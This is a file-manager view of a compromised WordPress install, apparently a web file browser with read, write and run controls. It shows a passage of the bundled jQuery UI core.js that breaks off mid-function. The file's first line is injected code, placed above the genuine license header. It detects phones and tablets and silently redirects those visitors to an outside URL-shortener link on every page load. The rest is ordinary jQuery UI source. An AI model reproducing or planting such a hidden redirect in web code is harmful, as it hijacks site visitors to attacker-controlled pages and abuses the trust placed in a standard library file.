at path:ROOT / wp-includes / js / jquery / ui / core.js
run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄core.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*! jQuery UI - v1.13.3 - 2024-04-26
3* https://jqueryui.com
4* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js
5* Copyright jQuery Foundation and other contributors; Licensed MIT */
6( function( factory ) {
7 "use strict";
8
9 if ( typeof define === "function" && define.amd ) {
10
11 // AMD. Register as an anonymous module.
12 define( [ "jquery" ], factory );
13 } else {
14
15 // Browser globals
16 factory( jQuery );
17 }
18} ( function( $ ) {
19"use strict";
20
21// Source: version.js
22$.ui = $.ui || {};
23
24$.ui.version = "1.13.3";
25
26// Source: data.js
27/*!
28 * jQuery UI :data 1.13.3
29 * https://jqueryui.com
30 *
31 * Copyright OpenJS Foundation and other contributors
32 * Released under the MIT license.
33 * https://jquery.org/license
34 */
35
36//>>label: :data Selector
37//>>group: Core
38//>>description: Selects elements which have data stored under the specified key.
39//>>docs: https://api.jqueryui.com/data-selector/
40
41$.extend( $.expr.pseudos, {
42 data: $.expr.createPseudo ?
43 $.expr.createPseudo( function( dataName ) {
44 return function( elem ) {
45 return !!$.data( elem, dataName );
46 };
47 } ) :
48
49 // Support: jQuery <1.8
50 function( elem, i, match ) {
51 return !!$.data( elem, match[ 3 ] );
52 }
53} );
54
55// Source: disable-selection.js
56/*!
57 * jQuery UI Disable Selection 1.13.3
58 * https://jqueryui.com
59 *
60 * Copyright OpenJS Foundation and other contributors
61 * Released under the MIT license.
62 * https://jquery.org/license
63 */
64
65//>>label: disableSelection
66//>>group: Core
67//>>description: Disable selection of text content within the set of matched elements.
68//>>docs: https://api.jqueryui.com/disableSelection/
69
70// This file is deprecated
71$.fn.extend( {
72 disableSelection: ( function() {
73 var eventType = "onselectstart" in document.createElement( "div" ) ?
74 "selectstart" :
75 "mousedown";
76
77 return function() {
78 return this.on( eventType + ".ui-disableSelection", function( event ) {
79 event.preventDefault();
80 } );
81 };
82 } )(),
83
84 enableSelection: function() {
85 return this.off( ".ui-disableSelection" );
86 }
87} );
88
89// Source: focusable.js
90/*!
91 * jQuery UI Focusable 1.13.3
92 * https://jqueryui.com
93 *
94 * Copyright OpenJS Foundation and other contributors
95 * Released under the MIT license.
96 * https://jquery.org/license
97 */
98
99//>>label: :focusable Selector
100//>>group: Core
101//>>description: Selects elements which can be focused.
102//>>docs: https://api.jqueryui.com/focusable-selector/
103
104// Selectors
105$.ui.focusable = function( element, hasTabindex ) {
106 var map, mapName, img, focusableIfVisible, fieldset,
107 nodeName = element.nodeName.toLowerCase();
108
109 if ( "area" === nodeName ) {
110 map = element.parentNode;
111 mapName = map.name;
112 if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) {
113 return false;
114 }
115 img = $( "img[usemap='#" + mapName + "']" );
116 return img.length > 0 && img.is( ":visible" );
117 }
118
119 if ( /^(input|select|textarea|button|object)$/.test( nodeName ) ) {
120 focusableIfVisible = !element.disabled;
121
122 if ( focusableIfVisible ) {
123
124 // Form controls within a disabled fieldset are disabled.
125 // However, controls within the fieldset's legend do not get disabled.
126 // Since controls generally aren't placed inside legends, we skip
127 // this portion of the check.
128 fieldset = $( element ).closest( "fieldset" )[ 0 ];
129 if ( fieldset ) {
130 focusableIfVisible = !fieldset.disabled;
131 }
132 }
133 } else if ( "a" === nodeName ) {
134 focusableIfVisible = element.href || hasTabindex;
135 } else {
136 focusableIfVisible = hasTabindex;
137 }
138
139 return focusableIfVisible && $( element ).is( ":visible" ) && visible( $( element ) );
140};
141
142// Support: IE 8 only
143// IE 8 doesn't resolve inherit to visible/hidden for computed values
144function visible( element ) {
145 var visibility = element.css( "visibility" );
146 while ( visibility === "inherit" ) {
147 element = element.parent();
148 visibility = element.css( "visibility" );
149 }
150 return visibility === "visible";
151}
152
153$.extend( $.expr.pseudos, {
154 focusable: function( element ) {
155 return $.ui.focusable( element, $.attr( element, "tabindex" ) != null );
156 }
157} );
158
159// Support: IE8 Only
160// IE8 does not support the form attribute and when it is supplied. It overwrites the form prop
161// with a string, so we need to find the proper form.
162$.fn._form = function() {
163 return typeof this[ 0 ].form === "string" ? this.closest( "form" ) : $( this[ 0 ].form );
164};
165
166// Source: form-reset-mixin.js
167/*!
168 * jQuery UI Form Reset Mixin 1.13.3
169 * https://jqueryui.com
170 *
171 * Copyright OpenJS Foundation and other contributors
172 * Released under the MIT license.
173 * https://jquery.org/license
174 */
175
176//>>label: Form Reset Mixin
177//>>group: Core
178//>>description: Refresh input widgets when their form is reset
179//>>docs: https://api.jqueryui.com/form-reset-mixin/
180
181$.ui.formResetMixin = {
182 _formResetHandler: function() {
183 var form = $( this );
184
185 // Wait for the form reset to actually happen before refreshing
186 setTimeout( function() {
187 var instances = form.data( "ui-form-reset-instances" );
188 $.each( instances, function() {
189 this.refresh();
190 } );
191 } );
192 },
193
194 _bindFormResetHandler: function() {
195 this.form = this.element._form();
196 if ( !this.form.length ) {
197 return;
198 }
199
200 var instances = this.form.data( "ui-form-reset-instances" ) || [];
201 if ( !instances.length ) {
202
203 // We don't use _on() here because we use a single event handler per form
204 this.form.on( "reset.ui-form-reset", this._formResetHandler );
205 }
206 instances.push( this );
207 this.form.data( "ui-form-reset-instances", instances );
208 },
209
210 _unbindFormResetHandler: function() {
211 if ( !this.form.length ) {
212 return;
213 }
214
215 var instances = this.form.data( "ui-form-reset-instances" );
216 instances.splice( $.inArray( this, instances ), 1 );
217 if ( instances.length ) {
218 this.form.data( "ui-form-reset-instances", instances );
219 } else {
220 this.form
221 .removeData( "ui-form-reset-instances" )
222 .off( "reset.ui-form-reset" );
223 }
224 }
225};
226
227// Source: ie.js
228// This file is deprecated
229$.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() );
230
231// Source: jquery-patch.js
232/*!
233 * jQuery UI Support for jQuery core 1.8.x and newer 1.13.3
234 * https://jqueryui.com
235 *
236 * Copyright OpenJS Foundation and other contributors
237 * Released under the MIT license.
238 * https://jquery.org/license
239 *
240 */
241
242//>>label: jQuery 1.8+ Support
243//>>group: Core
244//>>description: Support version 1.8.x and newer of jQuery core
245
246// Support: jQuery 1.9.x or older
247// $.expr[ ":" ] is deprecated.
248if ( !$.expr.pseudos ) {
249 $.expr.pseudos = $.expr[ ":" ];
250}
251
252// Support: jQuery 1.11.x or older
253// $.unique has been renamed to $.uniqueSort
254if ( !$.uniqueSort ) {
255 $.uniqueSort = $.unique;
256}
257
258// Support: jQuery 2.2.x or older.
259// This method has been defined in jQuery 3.0.0.
260// Code from https://github.com/jquery/jquery/blob/e539bac79e666bba95bba86d690b4e609dca2286/src/selector/escapeSelector.js
261if ( !$.escapeSelector ) {
262
263 // CSS string/identifier serialization
264 // https://drafts.csswg.org/cssom/#common-serializing-idioms
265 var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;
266
267 var fcssescape = function( ch, asCodePoint ) {
268 if ( asCodePoint ) {
269
270 // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER
271 if ( ch === "\0" ) {
272 return "\uFFFD";
273 }
274
275 // Control characters and (dependent upon position) numbers get escaped as code points
276 return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " ";
277 }
278
279 // Other potentially-special ASCII characters get backslash-escaped
280 return "\\" + ch;
281 };
282
283 $.escapeSelector = function( sel ) {
284 return ( sel + "" ).replace( rcssescape, fcssescape );
285 };
286}
287
288// Support: jQuery 3.4.x or older
289// These methods have been defined in jQuery 3.5.0.
290if ( !$.fn.even || !$.fn.odd ) {
291 $.fn.extend( {
292 even: function() {
293 return this.filter( function( i ) {
294 return i % 2 === 0;
295 } );
296 },
297 odd: function() {
298 return this.filter( function( i ) {
299 return i % 2 === 1;
300 } );
301 }
302 } );
303}
304
305// Source: keycode.js
306/*!
307 * jQuery UI Keycode 1.13.3
308 * https://jqueryui.com
309 *
310 * Copyright OpenJS Foundation and other contributors
311 * Released under the MIT license.
312 * https://jquery.org/license
313 */
314
315//>>label: Keycode
316//>>group: Core
317//>>description: Provide keycodes as keynames
318//>>docs: https://api.jqueryui.com/jQuery.ui.keyCode/
319
320$.ui.keyCode = {
321 BACKSPACE: 8,
322 COMMA: 188,
323 DELETE: 46,
324 DOWN: 40,
325 END: 35,
326 ENTER: 13,
327 ESCAPE: 27,
328 HOME: 36,
329 LEFT: 37,
330 PAGE_DOWN: 34,
331 PAGE_UP: 33,
332 PERIOD: 190,
333 RIGHT: 39,
334 SPACE: 32,
335 TAB: 9,
336 UP: 38
337};
338
339// Source: labels.js
340/*!
341 * jQuery UI Labels 1.13.3
342 * https://jqueryui.com
343 *
344 * Copyright OpenJS Foundation and other contributors
345 * Released under the MIT license.
346 * https://jquery.org/license
347 */
348
349//>>label: labels
350//>>group: Core
351//>>description: Find all the labels associated with a given input
352//>>docs: https://api.jqueryui.com/labels/
353
354$.fn.labels = function() {
355 var ancestor, selector, id, labels, ancestors;
356
357 if ( !this.length ) {
358 return this.pushStack( [] );
359 }
360
361 // Check control.labels first
362 if ( this[ 0 ].labels && this[ 0 ].labels.length ) {
363 return this.pushStack( this[ 0 ].labels );
364 }
365
366 // Support: IE <= 11, FF <= 37, Android <= 2.3 only
367 // Above browsers do not support control.labels. Everything below is to support them
368 // as well as document fragments. control.labels does not work on document fragments
369 labels = this.eq( 0 ).parents( "label" );
370
371 // Look for the label based on the id
372 id = this.attr( "id" );
373 if ( id ) {
374
375 // We don't search against the document in case the element
376 // is disconnected from the DOM
377 ancestor = this.eq( 0 ).parents().last();
378
379 // Get a full set of top level ancestors
380 ancestors = ancestor.add( ancestor.length ? ancestor.siblings() : this.siblings() );
381
382 // Create a selector for the label based on the id
383 selector = "label[for='" + $.escapeSelector( id ) + "']";
384
385 labels = labels.add( ancestors.find( selector ).addBack( selector ) );
386
387 }
388
389 // Return whatever we have found for labels
390 return this.pushStack( labels );
391};
392
393// Source: plugin.js
394// $.ui.plugin is deprecated. Use $.widget() extensions instead.
395$.ui.plugin = {
396 add: function( module, option, set ) {
397 var i,
398 proto = $.ui[ module ].prototype;
399 for ( i in set ) {
400 proto.plugins[ i ] = proto.plugins[ i ] || [];
401 proto.plugins[ i ].push( [ option, set[ i ] ] );
402 }
403 },
404 call: function( instance, name, args, allowDisconnected ) {
405 var i,
406 set = instance.plugins[ name ];
407
408 if ( !set ) {
409 return;
410 }
411
412 if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode ||
413 instance.element[ 0 ].parentNode.nodeType === 11 ) ) {
414 return;
415 }
416
417 for ( i = 0; i < set.length; i++ ) {
418 if ( instance.options[ set[ i ][ 0 ] ] ) {
419 set[ i ][ 1 ].apply( instance.element, args );
420 }
421 }
422 }
423};
424
425// Source: position.js
426/*!
427 * jQuery UI Position 1.13.3
428 * https://jqueryui.com
429 *
430 * Copyright OpenJS Foundation and other contributors
431 * Released under the MIT license.
432 * https://jquery.org/license
433 *
434 * https://api.jqueryui.com/position/
435 */
436
437//>>label: Position
438//>>group: Core
439//>>description: Positions elements relative to other elements.
440//>>docs: https://api.jqueryui.com/position/
441//>>demos: https://jqueryui.com/position/
442
443( function() {
444var cachedScrollbarWidth,
445 max = Math.max,
446 abs = Math.abs,
447 rhorizontal = /left|center|right/,
448 rvertical = /top|center|bottom/,
449 roffset = /[\+\-]\d+(\.[\d]+)?%?/,
450 rposition = /^\w+/,
451 rpercent = /%$/,
452 _position = $.fn.position;
453
454function getOffsets( offsets, width, height ) {
455 return [
456 parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),
457 parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )
458 ];
459}
460
461function parseCss( element, property ) {
462 return parseInt( $.css( element, property ), 10 ) || 0;
463}
464
465function isWindow( obj ) {
466 return obj != null && obj === obj.window;
467}
468
469function getDimensions( elem ) {
470 var raw = elem[ 0 ];
471 if ( raw.nodeType === 9 ) {
472 return {
473 width: elem.width(),
474 height: elem.height(),
475 offset: { top: 0, left: 0 }
476 };
477 }
478 if ( isWindow( raw ) ) {
479 return {
480 width: elem.width(),
481 height: elem.height(),
482 offset: { top: elem.scrollTop(), left: elem.scrollLeft() }
483 };
484 }
485 if ( raw.preventDefault ) {
486 return {
487 width: 0,
488 height: 0,
489 offset: { top: raw.pageY, left: raw.pageX }
490 };
491 }
492 return {
493 width: elem.outerWidth(),
494 height: elem.outerHeight(),
495 offset: elem.offset()
496 };
497}
498
499$.position = {
500 scrollbarWidth: function() {
501 if ( cachedScrollbarWidth !== undefined ) {
502 return cachedScrollbarWidth;
503 }
504 var w1, w2,
505 div = $( "<div style=" +
506 "'display:block;position:absolute;width:200px;height:200px;overflow:hidden;'>" +
507 "<div style='height:300px;width:auto;'></div></div>" ),
508 innerDiv = div.children()[ 0 ];
509
510 $( "body" ).append( div );
511 w1 = innerDiv.offsetWidth;
512 div.css( "overflow", "scroll" );
513
514 w2 = innerDiv.offsetWidth;
515
516 if ( w1 === w2 ) {
517 w2 = div[ 0 ].clientWidth;
518 }
519
520 div.remove();
521
522 return ( cachedScrollbarWidth = w1 - w2 );
523 },
524 getScrollInfo: function( within ) {
525 var overflowX = within.isWindow || within.isDocument ? "" :
526 within.element.css( "overflow-x" ),
527 overflowY = within.isWindow || within.isDocument ? "" :
528 within.element.css( "overflow-y" ),
529 hasOverflowX = overflowX === "scroll" ||
530 ( overflowX === "auto" && within.width < within.element[ 0 ].scrollWidth ),
531 hasOverflowY = overflowY === "scroll" ||
532 ( overflowY === "auto" && within.height < within.element[ 0 ].scrollHeight );
533 return {
534 width: hasOverflowY ? $.position.scrollbarWidth() : 0,
535 height: hasOverflowX ? $.position.scrollbarWidth() : 0
536 };
537 },
538 getWithinInfo: function( element ) {
539 var withinElement = $( element || window ),
540 isElemWindow = isWindow( withinElement[ 0 ] ),
541 isDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9,
542 hasOffset = !isElemWindow && !isDocument;
543 return {
544 element: withinElement,
545 isWindow: isElemWindow,
546 isDocument: isDocument,
547 offset: hasOffset ? $( element ).offset() : { left: 0, top: 0 },
548 scrollLeft: withinElement.scrollLeft(),
549 scrollTop: withinElement.scrollTop(),
550 width: withinElement.outerWidth(),
551 height: withinElement.outerHeight()
552 };
553 }
554};
555
556$.fn.position = function( options ) {
557 if ( !options || !options.of ) {
558 return _position.apply( this, arguments );
559 }
560
561 // Make a copy, we don't want to modify arguments
562 options = $.extend( {}, options );
563
564 var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,
565
566 // Make sure string options are treated as CSS selectors
567 target = typeof options.of === "string" ?
568 $( document ).find( options.of ) :
569 $( options.of ),
570
571 within = $.position.getWithinInfo( options.within ),
572 scrollInfo = $.position.getScrollInfo( within ),
573 collision = ( options.collision || "flip" ).split( " " ),
574 offsets = {};
575
576 dimensions = getDimensions( target );
577 if ( target[ 0 ].preventDefault ) {
578
579 // Force left top to allow flipping
580 options.at = "left top";
581 }
582 targetWidth = dimensions.width;
583 targetHeight = dimensions.height;
584 targetOffset = dimensions.offset;
585
586 // Clone to reuse original targetOffset later
587 basePosition = $.extend( {}, targetOffset );
588
589 // Force my and at to have valid horizontal and vertical positions
590 // if a value is missing or invalid, it will be converted to center
591 $.each( [ "my", "at" ], function() {
592 var pos = ( options[ this ] || "" ).split( " " ),
593 horizontalOffset,
594 verticalOffset;
595
596 if ( pos.length === 1 ) {
597 pos = rhorizontal.test( pos[ 0 ] ) ?
598 pos.concat( [ "center" ] ) :
599 rvertical.test( pos[ 0 ] ) ?
600 [ "center" ].concat( pos ) :
601 [ "center", "center" ];
602 }
603 pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center";
604 pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center";
605
606 // Calculate offsets
607 horizontalOffset = roffset.exec( pos[ 0 ] );
608 verticalOffset = roffset.exec( pos[ 1 ] );
609 offsets[ this ] = [
610 horizontalOffset ? horizontalOffset[ 0 ] : 0,
611 verticalOffset ? verticalOffset[ 0 ] : 0
612 ];
613
614 // Reduce to just the positions without the offsets
615 options[ this ] = [
616 rposition.exec( pos[ 0 ] )[ 0 ],
617 rposition.exec( pos[ 1 ] )[ 0 ]
618 ];
619 } );
620
621 // Normalize collision option
622 if ( collision.length === 1 ) {
623 collision[ 1 ] = collision[ 0 ];
624 }
625
626 if ( options.at[ 0 ] === "right" ) {
627 basePosition.left += targetWidth;
628 } else if ( options.at[ 0 ] === "center" ) {
629 basePosition.left += targetWidth / 2;
630 }
631
632 if ( options.at[ 1 ] === "bottom" ) {
633 basePosition.top += targetHeight;
634 } else if ( options.at[ 1 ] === "center" ) {
635 basePosition.top += targetHeight / 2;
636 }
637
638 atOffset = getOffsets( offsets.at, targetWidth, targetHeight );
639 basePosition.left += atOffset[ 0 ];
640 basePosition.top += atOffset[ 1 ];
641
642 return this.each( function() {
643 var collisionPosition, using,
644 elem = $( this ),
645 elemWidth = elem.outerWidth(),
646 elemHeight = elem.outerHeight(),
647 marginLeft = parseCss( this, "marginLeft" ),
648 marginTop = parseCss( this, "marginTop" ),
649 collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) +
650 scrollInfo.width,
651 collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) +
652 scrollInfo.height,
653 position = $.extend( {}, basePosition ),
654 myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );
655
656 if ( options.my[ 0 ] === "right" ) {
657 position.left -= elemWidth;
658 } else if ( options.my[ 0 ] === "center" ) {
659 position.left -= elemWidth / 2;
660 }
661
662 if ( options.my[ 1 ] === "bottom" ) {
663 position.top -= elemHeight;
664 } else if ( options.my[ 1 ] === "center" ) {
665 position.top -= elemHeight / 2;
666 }
667
668 position.left += myOffset[ 0 ];
669 position.top += myOffset[ 1 ];
670
671 collisionPosition = {
672 marginLeft: marginLeft,
673 marginTop: marginTop
674 };
675
676 $.each( [ "left", "top" ], function( i, dir ) {
677 if ( $.ui.position[ collision[ i ] ] ) {
678 $.ui.position[ collision[ i ] ][ dir ]( position, {
679 targetWidth: targetWidth,
680 targetHeight: targetHeight,
681 elemWidth: elemWidth,
682 elemHeight: elemHeight,
683 collisionPosition: collisionPosition,
684 collisionWidth: collisionWidth,
685 collisionHeight: collisionHeight,
686 offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],
687 my: options.my,
688 at: options.at,
689 within: within,
690 elem: elem
691 } );
692 }
693 } );
694
695 if ( options.using ) {
696
697 // Adds feedback as second argument to using callback, if present
698 using = function( props ) {
699 var left = targetOffset.left - position.left,
700 right = left + targetWidth - elemWidth,
701 top = targetOffset.top - position.top,
702 bottom = top + targetHeight - elemHeight,
703 feedback = {
704 target: {
705 element: target,
706 left: targetOffset.left,
707 top: targetOffset.top,
708 width: targetWidth,
709 height: targetHeight
710 },
711 element: {
712 element: elem,
713 left: position.left,
714 top: position.top,
715 width: elemWidth,
716 height: elemHeight
717 },
718 horizontal: right < 0 ? "left" : left > 0 ? "right" : "center",
719 vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle"
720 };
721 if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {
722 feedback.horizontal = "center";
723 }
724 if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {
725 feedback.vertical = "middle";
726 }
727 if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {
728 feedback.important = "horizontal";
729 } else {
730 feedback.important = "vertical";
731 }
732 options.using.call( this, props, feedback );
733 };
734 }
735
736 elem.offset( $.extend( position, { using: using } ) );
737 } );
738};
739
740$.ui.position = {
741 fit: {
742 left: function( position, data ) {
743 var within = data.within,
744 withinOffset = within.isWindow ? within.scrollLeft : within.offset.left,
745 outerWidth = within.width,
746 collisionPosLeft = position.left - data.collisionPosition.marginLeft,
747 overLeft = withinOffset - collisionPosLeft,
748 overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,
749 newOverRight;
750
751 // Element is wider than within
752 if ( data.collisionWidth > outerWidth ) {
753
754 // Element is initially over the left side of within
755 if ( overLeft > 0 && overRight <= 0 ) {
756 newOverRight = position.left + overLeft + data.collisionWidth - outerWidth -
757 withinOffset;
758 position.left += overLeft - newOverRight;
759
760 // Element is initially over right side of within
761 } else if ( overRight > 0 && overLeft <= 0 ) {
762 position.left = withinOffset;
763
764 // Element is initially over both left and right sides of within
765 } else {
766 if ( overLeft > overRight ) {
767 position.left = withinOffset + outerWidth - data.collisionWidth;
768 } else {
769 position.left = withinOffset;
770 }
771 }
772
773 // Too far left -> align with left edge
774 } else if ( overLeft > 0 ) {
775 position.left += overLeft;
776
777 // Too far right -> align with right edge
778 } else if ( overRight > 0 ) {
779 position.left -= overRight;
780
781 // Adjust based on position and margin
782 } else {
783 position.left = max( position.left - collisionPosLeft, position.left );
784 }
785 },
786 top: function( position, data ) {
787 var within = data.within,
788 withinOffset = within.isWindow ? within.scrollTop : within.offset.top,
789 outerHeight = data.within.height,
790 collisionPosTop = position.top - data.collisionPosition.marginTop,
791 overTop = withinOffset - collisionPosTop,
792 overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,
793 newOverBottom;
794
795 // Element is taller than within
796 if ( data.collisionHeight > outerHeight ) {
797
798 // Element is initially over the top of within
799 if ( overTop > 0 && overBottom <= 0 ) {
800 newOverBottom = position.top + overTop + data.collisionHeight - outerHeight -
801 withinOffset;
802 position.top += overTop - newOverBottom;
803
804 // Element is initially over bottom of within
805 } else if ( overBottom > 0 && overTop <= 0 ) {
806 position.top = withinOffset;
807
808 // Element is initially over both top and bottom of within
809 } else {
810 if ( overTop > overBottom ) {
811 position.top = withinOffset + outerHeight - data.collisionHeight;
812 } else {
813 position.top = withinOffset;
814 }
815 }
816
817 // Too far up -> align with top
818 } else if ( overTop > 0 ) {
819 position.top += overTop;
820
821 // Too far down -> align with bottom edge
822 } else if ( overBottom > 0 ) {
823 position.top -= overBottom;
824
825 // Adjust based on position and margin
826 } else {
827 position.top = max( position.top - collisionPosTop, position.top );
828 }
829 }
830 },
831 flip: {
832 left: function( position, data ) {
833 var within = data.within,
834 withinOffset = within.offset.left + within.scrollLeft,
835 outerWidth = within.width,
836 offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,
837 collisionPosLeft = position.left - data.collisionPosition.marginLeft,
838 overLeft = collisionPosLeft - offsetLeft,
839 overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,
840 myOffset = data.my[ 0 ] === "left" ?
841 -data.elemWidth :
842 data.my[ 0 ] === "right" ?
843 data.elemWidth :
844 0,
845 atOffset = data.at[ 0 ] === "left" ?
846 data.targetWidth :
847 data.at[ 0 ] === "right" ?
848 -data.targetWidth :
849 0,
850 offset = -2 * data.offset[ 0 ],
851 newOverRight,
852 newOverLeft;
853
854 if ( overLeft < 0 ) {
855 newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth -
856 outerWidth - withinOffset;
857 if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {
858 position.left += myOffset + atOffset + offset;
859 }
860 } else if ( overRight > 0 ) {
861 newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset +
862 atOffset + offset - offsetLeft;
863 if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {
864 position.left += myOffset + atOffset + offset;
865 }
866 }
867 },
868 top: function( position, data ) {
869 var within = data.within,
870 withinOffset = within.offset.top + within.scrollTop,
871 outerHeight = within.height,
872 offsetTop = within.isWindow ? within.scrollTop : within.offset.top,
873 collisionPosTop = position.top - data.collisionPosition.marginTop,
874 overTop = collisionPosTop - offsetTop,
875 overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,
876 top = data.my[ 1 ] === "top",
877 myOffset = top ?
878 -data.elemHeight :
879 data.my[ 1 ] === "bottom" ?
880 data.elemHeight :
881 0,
882 atOffset = data.at[ 1 ] === "top" ?
883 data.targetHeight :
884 data.at[ 1 ] === "bottom" ?
885 -data.targetHeight :
886 0,
887 offset = -2 * data.offset[ 1 ],
888 newOverTop,
889 newOverBottom;
890 if ( overTop < 0 ) {
891 newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight -
892 outerHeight - withinOffset;
893 if ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) {
894 position.top += myOffset + atOffset + offset;
895 }
896 } else if ( overBottom > 0 ) {
897 newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset +
898 offset - offsetTop;
899 if ( newOverTop > 0 || abs( newOverTop ) < overBottom ) {
900 position.top += myOffset + atOffset + offset;
901 }
902 }
903 }
904 },
905 flipfit: {
906 left: function() {
907 $.ui.position.flip.left.apply( this, arguments );
908 $.ui.position.fit.left.apply( this, arguments );
909 },
910 top: function() {
